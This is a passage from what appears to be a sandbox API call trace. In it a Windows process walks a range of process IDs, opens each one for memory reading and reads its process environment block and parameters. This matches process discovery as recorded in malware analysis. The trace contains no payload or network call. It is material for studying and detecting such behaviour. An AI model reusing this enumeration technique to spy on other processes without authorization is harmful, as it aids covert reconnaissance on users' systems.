_Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5712") returned 4 [0357.974] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.974] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.975] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1650) returned 0xa9c [0357.975] GetLastError () returned 0x0 [0357.975] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.976] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.976] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.976] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5626e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.976] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x562258, lpBuffer=0x5ec5a0, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.976] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.976] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.976] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.977] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x561c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.977] malloc (_Size=0x9c) returned 0xe95420 [0357.977] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5622ec, lpBuffer=0xe95420, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe95420*, lpNumberOfBytesRead=0x0) returned 1 [0357.977] free (_Block=0xe95420) [0357.977] CloseHandle (hObject=0xa9c) returned 1 [0357.978] _ui64tow_s (in: _Value=0x1658, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5720") returned 0x0 [0357.978] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5720") returned 4 [0357.978] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.978] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.979] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1658) returned 0xa9c [0357.979] GetLastError () returned 0x0 [0357.979] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.979] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.980] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.980] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x152680, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.980] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x152258, lpBuffer=0x5ec5a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.980] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.980] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.980] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.981] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x151c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.981] malloc (_Size=0x7c) returned 0xe87c10 [0357.981] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1522cc, lpBuffer=0xe87c10, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87c10*, lpNumberOfBytesRead=0x0) returned 1 [0357.982] free (_Block=0xe87c10) [0357.982] CloseHandle (hObject=0xa9c) returned 1 [0357.982] _ui64tow_s (in: _Value=0x1660, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5728") returned 0x0 [0357.983] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5728") returned 4 [0357.983] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.983] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.984] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1660) returned 0xa9c [0357.984] GetLastError () returned 0x0 [0357.984] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.984] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x259018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.984] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.984] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.985] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472258, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.985] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.985] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.985] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x259020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.985] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.986] malloc (_Size=0x60) returned 0xeb63f0 [0357.986] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4722b0, lpBuffer=0xeb63f0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb63f0*, lpNumberOfBytesRead=0x0) returned 1 [0357.987] free (_Block=0xeb63f0) [0357.987] CloseHandle (hObject=0xa9c) returned 1 [0357.987] _ui64tow_s (in: _Value=0x1668, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5736") returned 0x0 [0357.988] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5736") returned 4 [0357.988] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.988] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.989] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1668) returned 0xa9c [0357.989] GetLastError () returned 0x0 [0357.989] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.989] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x374018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.990] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.990] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.990] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.991] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.991] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.991] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x374020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.991] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.991] malloc (_Size=0x6c) returned 0xea8fa0 [0357.991] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22bc, lpBuffer=0xea8fa0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8fa0*, lpNumberOfBytesRead=0x0) returned 1 [0357.992] free (_Block=0xea8fa0) [0357.992] CloseHandle (hObject=0xa9c) returned 1 [0357.993] _ui64tow_s (in: _Value=0x1670, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5744") returned 0x0 [0357.993] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5744") returned 4 [0357.993] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.993] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.994] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1670) returned 0xa9c [0357.994] GetLastError () returned 0x0 [0357.994] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.994] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x33d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.994] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.995] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.995] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.995] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.995] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.995] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x33d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.996] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.996] malloc (_Size=0x62) returned 0xeb6310 [0357.996] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22b2, lpBuffer=0xeb6310, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6310*, lpNumberOfBytesRead=0x0) returned 1 [0357.996] free (_Block=0xeb6310) [0357.997] CloseHandle (hObject=0xa9c) returned 1 [0357.997] _ui64tow_s (in: _Value=0x167c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5756") returned 0x0 [0357.997] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5756") returned 4 [0357.997] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.997] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.998] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x167c) returned 0xa9c [0357.999] GetLastError () returned 0x0 [0357.999] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.999] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ea018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.999] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.999] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4426d0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.999] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442258, lpBuffer=0x5ec5a0, nSize=0x8e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0358.000] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0358.000] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0358.000] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ea020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0358.000] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x441c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0358.000] malloc (_Size=0x96) returned 0xec7ac0 [0358.000] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4422e6, lpBuffer=0xec7ac0, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7ac0*, lpNumberOfBytesRead=0x0) returned 1 [0358.001] free (_Block=0xec7ac0) [0358.001] CloseHandle (hObject=0xa9c) returned 1 [0358.001] _ui64tow_s (in: _Value=0x1684, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5764") returned 0x0 [0358.002] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5764") returned 4 [0358.002] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0358.002] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0358.003] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1684) returned 0xa9c [0358.003] GetLastError () returned 0x0 [0358.003] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0358.003] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0358.003] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0358.004] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0358.004] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0358.004] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0358.004] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0358.004] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0358.005] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0358.005] malloc (_Size=0x62) returned 0xeb6770 [0358.005] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e22b2, lpBuffer=0xeb6770, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6770*, lpNumberOfBytesRead=0x0) returned 1 [0358.006] free (_Block=0xeb6770) [0358.006] CloseHandle (hObject=0xa9c) returned 1 [0358.006] _ui64tow_s (in: _Value=0x169c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5788") returned 0x0 [0358.007] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5788") returned 4 [0358.007] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0358.007] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0358.008] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x169c) returned 0xa9c [0358.008] GetLastError () returned 0x0 [0358.008] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0358.008] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0358.008] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0358.009] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0358.009] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0358.009] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0358.009] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0358.009] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0358.010] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x461c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0358.010] malloc (_Size=0x74) returned 0xea95a0 [0358.010] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4622c4, lpBuffer=0xea95a0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea95a0*, lpNumberOfBytesRead=0x0) returned 1 [0358.010] free (_Block=0xea95a0) [0358.011] CloseHandle (hObject=0xa9c) returned 1 [0358.011] _ui64tow_s (in: _Value=0x16a4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5796") returned 0x0 [0358.011] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, 